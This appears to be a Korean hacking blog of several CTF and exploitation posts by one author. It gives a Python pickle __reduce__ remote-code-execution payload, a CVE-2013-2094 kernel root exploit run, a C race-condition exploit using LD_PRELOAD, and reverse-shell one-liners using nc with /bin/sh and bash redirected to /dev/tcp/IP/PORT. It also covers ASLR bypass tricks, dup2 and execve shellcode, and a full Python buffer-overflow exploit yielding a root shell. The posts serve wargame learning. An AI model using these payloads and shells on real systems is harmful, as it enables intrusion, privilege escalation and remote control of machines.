이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.

pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다.


애초에, pickle이 안전하지 않다.

다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다.


취약점은 __reduce__ method에서 발생한다.


unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다.


  1. import cPickle
  2. import os
  3.  
  4. class exploit(object):
  5.   def __reduce__(self):
  6.     return (os.system, ('id',))
  7.  
  8. pd = cPickle.dumps(exploit())
  9.  
  10. cPickle.loads(pd)

예시는 이와 같다.


class를 하나 만들고, __reduce__ 메소드에서, (함수, (인자,)) 를 리턴한다.

그것을 dump해서 pd로 넣어두고,


마지막에 loads(pd)를 할때, 커맨드가 실행 된다.


즉, 덤프 한것을, 서버에서 로드만 하도록 유도한다면, 쉘을 딸 수 있다.

posted by tunz

linux에서 %gs:0x10 이런식으로 접근할때, gs의 베이스주소를 알아내는법


$ strace -f ./바이너리 2>&1 | grep thread_area


posted by tunz
  • levs 2014.06.25 22:50

    저 명령어의 원리좀 알 수 있을까요?

원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만..


이 취약점은 2013년 5월 14일에 발표되었다.

그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.

(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)

상당히 심각한 취약점이니, 꼭 패치를 해야한다.


tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-release

NAME="Ubuntu"

VERSION="13.04, Raring Ringtail"

...

tunz@ubuntu:~/cve-2013-2094$ uname -a

Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

tunz@ubuntu:~/cve-2013-2094$ ./a.out

Searchin...

detected CONFIG_JUMP_LABEL

perf_swevent_enabled is at 0xffffffff81ef31c0

IDT at 0xffffffff81df4000

Using interrupt 128

Shellcode at 0x81000000

Triggering sploit

Got signal

Launching shell

# id

uid=0(root) gid=1000(tunz) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),108(lpadmin),124(sambashare),1000(tunz) 



이 취약점은 kernel/events/core.c의 perf_swevent_init 함수에서 발생하는 취약점이다.


static int perf_swevent_init(struct perf_event *event)

{

- int event_id = event->attr.config;

+ u64 event_id = event->attr.config;


event_id를 int형으로 받았다.

그 결과, 음수의 값도 받을수가 있게 되었고, 그다음의


 static_key_slow_inc(&perf_swevent_enabled[event_id]);


위 부분에서 문제가 발생한다.

위의 어레이에서 음수를 넣으면, 해당 어레이 뒤쪽의 값들을 조작할수가 있게 된다.


그 후로 이러쿵 저러쿵 해서, idt를 조작한후, 인터럽트 핸들러에 쉘코드를 덮어쓴후, 인터럽트를 이용해 루트를 따는듯하다.



**

우분투 기준 커널 업데이트방법

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade



posted by tunz
  • 2013.09.07 15:07

    비밀댓글입니다

    • tunz 2013.09.08 16:31 신고

      함수 콜을 할때 인자를 어떤식으로 넘기는지 알아보시면, 이해가 가실거같아요.
      대략적으로 말씀드리자면, gcc같은 경우는 첫번째 인자는 esp, 두번째 인자는 esp+4, ... 이런식으로 옮겨놓은다음에, 함수콜을 하게되면,
      [ret][arg1][arg2]... 이 상태가 되거든요, 그래서 ebp+8, ebp+c와 같은 방법으로 인자에 접근하게 됩니다.
      ROP를 할때는, ret을 이용해서 콜을 하기때문에, [call 할거][ret][arg1][arg2]... 로 세팅을 하게되면,
      call을 한 후에 [ret][arg1][arg2]와 같은 상태가 되니, 함수콜을 한것과 마찬가지가 되는거죠

  • 2013.09.08 19:31

    비밀댓글입니다

  • 2013.09.11 23:15

    비밀댓글입니다

    • tunz 2013.09.12 01:53 신고

      음..... 딱히 어떤 문서 하나만 보고 한게 아니라서 잘 모르겠네요.
      BOF원정대 페도라성 풀면서 그 write up들이랑, 이것저것 문서 찾아보면서 공부했던것같아요

  • levs 2013.10.07 21:04

    음 여기랑은 관련 없지만 질문하나 하겠습니다
    elf 디버깅 할때 보면 리눅스 elf 파일을 윈도우 아이다로 까주던데
    어떻게 리눅스에서 윈도우로 파일을 가져와 줄수 있나요?

    • tunz 2013.10.08 01:22 신고

      winscp나 단순히 ftp등을 이용해서 가져올수 있습니다.

레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.

아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.

PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.

이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.

멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.

(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능)


참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/



#include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h>   int main() { system("rm 'test (deleted)'"); system("ln -s sh 'test (deleted)'"); system("rm test"); system("ln vuln test");   pid_t pid; ssize_t ret; int pipefd[2]; char buf[4096]; int flags; memset(buf,'A',4096); buf[4095]=0;   pipe(pipefd); // non-blocking flags = fcntl(pipefd[1], F_GETFL); flags |= O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   // fill pipe do { ret = write(pipefd[1], buf, 4096); } while ( !(ret == -1 && errno == EAGAIN) );   do { ret = write(pipefd[1], buf, 1); } while ( !(ret == -1 && errno == EAGAIN) );   // blocking flags = fcntl(pipefd[1], F_GETFL); flags &= ~O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   switch(pid = fork()) { case 0: sleep(1); remove("test"); int i=0; for (i=0; i<16; i++) read(pipefd[0],&buf,4096);   exit(0); default: dup2(2,77); dup2(pipefd[1], 2); putenv("LD_PRELOAD=tunz"); execlp("./test", "test", NULL); } }


posted by tunz

몇몇 라이트업들을 보니 "nc -e /bin/sh IP PORT" 등으로 리버스텔넷을 하는 경우가 있다.

근데, 난 안됀다... e옵션이 없다.

그래서 찾아본 다른 방법


victim

system("mkfifo /tmp/tunz; nc IP PORT 0< /tmp/tunz | /bin/sh 1> /tmp/tunz")


attacker

$ nc -l -p PORT -vvv


(단, 접속후 큐파일, /tmp/tunz은 꼭 지우도록 한다.)



추가)


/bin/bash -i >& /dev/tcp/IP/PORT 0>&1


/dev/tcp 가 있으면 그냥, 저기에 IP,PORT만 써넣으면 됌

posted by tunz

요즘 보안쪽 논문을 보면, 생각했던것과 많이 달라 이쪽 대학원을 가야하나 말아야하나 망설여지지만, 그중 이 논문은 가장 괜찮았다.


Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization


ROP gadget을 없애는 방법을 제시하고있는데, 그중 가장 기억에 남는건 첫번째 방법인 Atomic Instruction Substitution이다.


linux계열을 ROP로 공격할땐, 별로 소용이 없을것 같긴 하지만,

windows계열에서는 꽤나 도움이 될듯하다.


이 논문에서 예를 든건


cmp al,bl 과 같은것들을 cmp bl,al로 바꿈으로써, ret(C3)를 없앤다는 내용이다.

의미상으로는 전혀 다른게 없지만, ret이 없어짐으로써 가젯으로는 소용이 없어졌다.

속도상의 손해도 거의 없을것 같다.


사실 이방법만으로는 가젯파괴가 많이 힘들지도 모르지만, 

단순한 아이디어치고는 상당히 괜찮은것 같다.

posted by tunz
  • hea 2013.11.17 22:54

    안녕하세요 tunz님 rop공부하다가 의문점이 생겨 질문드립니다.
    rop시 got overwrite를 하면서 add 가젯을 써주던데 add가젯이 정확히 어느용도인지 이해가 안되더라구요..
    페이로드 인사이드를 보면 9쪽에 offset을 ecx에 로드하고 ecx는 add가젯을 통해 ebp+0x5b042464와 더해진 뒤 execve()의 주소를 printf@GOT에 써준다는데 이부분좀 자세히좀 풀어서 설명해주실수 있을련지요..

    • tunz 2013.11.17 23:59 신고

      ROP라는게 ret을 이용한 프로그래밍이라는 뜻입니다.
      GOT에서 printf의 주소를 덮어 쓰는 방법은 여러가지가 있는데,
      send,recv 함수등이 바이너리 안에서 사용되었다면, send로 printf의 주소를 익스플로잇쪽에 보내고 더한후에 recv함수로 printf의 주소를 덮어 주는 방법등으로 간단하게 할수도 있지만,
      이런방법이 불가능 하다면, print GOT의 주소를 eax에 어떻게든 넣어서 (pop eax; ret; 등을 이용해서) add [eax], ebx; ret; 이라는 가젯이 있다면, ebx또한 마찬가지로 조작한후, 위의 가젯을 이용하면 printf GOT의 주소를 조작할수 있습니다.
      보기좋게 add [eax], ebx; 와 같은 간단한 가젯이 있으면 좋겠지만, 만약 저런게 없고, add [eax + 0x123123] , ebx;라는 가젯이 대신 있을경우에도, eax를 (printf GOT - 0x123123)으로 맞춰주면 같은 작업을 할수있습니다.

local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다.


$ ulimit -s unlimited


를 이용하면 된다.

(단, 32비트 리눅스에서만 가능하다고 한다.)



$ ldd a

linux-gate.so.1 =>  (0xb7768000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000)

/lib/ld-linux.so.2 (0xb7769000)

$ ldd a

        linux-gate.so.1 =>  (0xb772f000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000)

/lib/ld-linux.so.2 (0xb7730000)

$ ulimit -s unlimited

$ ldd a

linux-gate.so.1 =>  (0x4001d000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000)

/lib/ld-linux.so.2 (0x40000000)

$ ldd a

linux-gate.so.1 =>  (0x4001d000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000)

/lib/ld-linux.so.2 (0x40000000)




posted by tunz

CTF를 풀때 정말 난감한 환경들이 있다.

예를들어, 특히 우리학교.

우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다.

이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데


dup2+쉘을 이용하면 가능하다.

dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데

원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다.

dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다.

이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다.

그래서, dup2 쉘코드를 먼저 실행시킨후, 특정 명령을 하는 쉘코드를 실행하고, 그 결과를 stdout으로 출력하면, 프린트 결과물이 이미 연결되어있는 소켓을 통해 공격자의 컴퓨터로 전송이 된다.


64비트용과 32비트용의 dup2 쉘코드 예제를 보겠다.


 # ndisasm -b 64 test

00000000  4831C0            xor rax,rax          

00000003  B021              mov al,0x21           ; dup2 콜 번호를 설정한다.

00000005  4831FF            xor rdi,rdi

00000008  40B708            mov dil,0x8           ; fd 번호를 설정한다.

0000000B  4831F6            xor rsi,rsi

0000000E  48FFC6            inc rsi                ; rsi를 1로 맞춰서 stdout에 맞춘다.

00000011  0F05              loadall286

64비트 (stdout만 변경)


# ndisasm -b 32 test

00000000  31C9              xor ecx,ecx

00000002  B102              mov cl,0x2        

00000004  31DB              xor ebx,ebx

00000006  B341              mov bl,0x41          ; fd 번호를 설정한다. (여기선 41)

00000008  31C0              xor eax,eax

0000000A  B03F              mov al,0x3f         ; dup2 시스템콜 번호를 설정한다.

0000000C  CD80              int 0x80         

0000000E  49                dec ecx

0000000F  79F7              jns 0x8

32비트 (stdin,stdout,stderr 모두 변경)


시스템콜번호는 OS마다 다를수도 있으니, 잘 안되면 정확히 확인해봐야 한다.

(지금까지 확인해본 결과로는, 32비트에서는 모두 0x3f로 동일했다.)

그리고, fd값을 구하는 법에 대해서 고민해봤는데,

찾아보니 3이후의 값을 하나씩 넣어보는 사람도 있었고,

좀더 좋은방법은 결국 fd값도 변수일테니, 그 변수의 위치를 찾아서 ebx에 넣어줘도 된다.

(근데, fork를 사용하는 binary의 경우는 어짜피 정해져있기때문에 하나씩 넣어보는것이 편하다.)


그리고나서 metasploit툴에서 제공하는 msfvenom을 이용해 커맨드쉘을 만들고, dup2 뒤에 덮붙이면 된다.

./msfvenom -p linux/x86/exec CMD="/bin/id" -b '\x0a\x00'


좀더 나아가서,


아니면 아예 위에서 보듯이 32비트같은 경우는, 모두 연결해놨기때문에, 리버스텔넷이나 바인드쉘과 같은 효과를 낼수도 있다.


위의 dup2루프 쉘코드와 execve("/bin/sh")를 합쳐서 페이로드로 사용하면 된다.


fd = ??

shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2

shellcode = shellcode.replace("\x41", chr(fd))

# bin/sh

shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

(41바이트 / python)


실험을 해보기위해서, BoF 원정대의 death_knight의 소스를 가져와서 테스트를 해보았다.

 /*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet in.h>
#include <sys/socket.h>
#include <sys/wait.h>

main()
{
char buffer[40];

int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}

if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}

if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}

close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}

death_knight.c


우분투의 환경에서 컴파일 했기때문에, 각종 방어기법을 해제하기 위해서 컴파일 옵션을 줬다.

 gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 death_knight.c


추가로, ASLR을 제거해준다.

echo "0" > /proc/sys/kernel/randomize_va_space 


그리고, /proc/프로세스아이디/fd 를 체크해보면 알겠지만, accept의 소켓번호는 4번이다.

 

그러므로, exploit을 작성해보면

from socket import *
import sys
import time

fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

breakall=0
for a in range(0xff,0x01,-1):
        for b in range(0x00, 0xff, 100):
                #print hex(a) + hex(b)
                payload = ""
                payload += "\x90"*52 
                payload += chr(b)+chr(a)+"\xff\xbf" # return address
                payload += "\x90"*100
                payload += shellcode
                s=socket(AF_INET,SOCK_STREAM)
                s.connect(('127.0.0.1',6666))
                while "You" not in s.recv(1024): pass
                time.sleep(0.0001)
                s.send(payload)
                s.send('id\n')
                get = s.recv(1024)
                #if get: print get
                if get.find('id') is not -1:
                        while True:
                                cmd = raw_input('$ ')
                                if cmd == 'exit':
                                        s.close()
                                        breakall = 1
                                        break
                                s.send(cmd+'\n')
                                result = s.recv(1024)
                                print result
                        s.close()
                else:
                        s.close()
                if breakall == 1:
                        break
        if breakall == 1:
                break


 # python exploit.py 
id
uid=0(root) gid=0(root) groups=0(root)




posted by tunz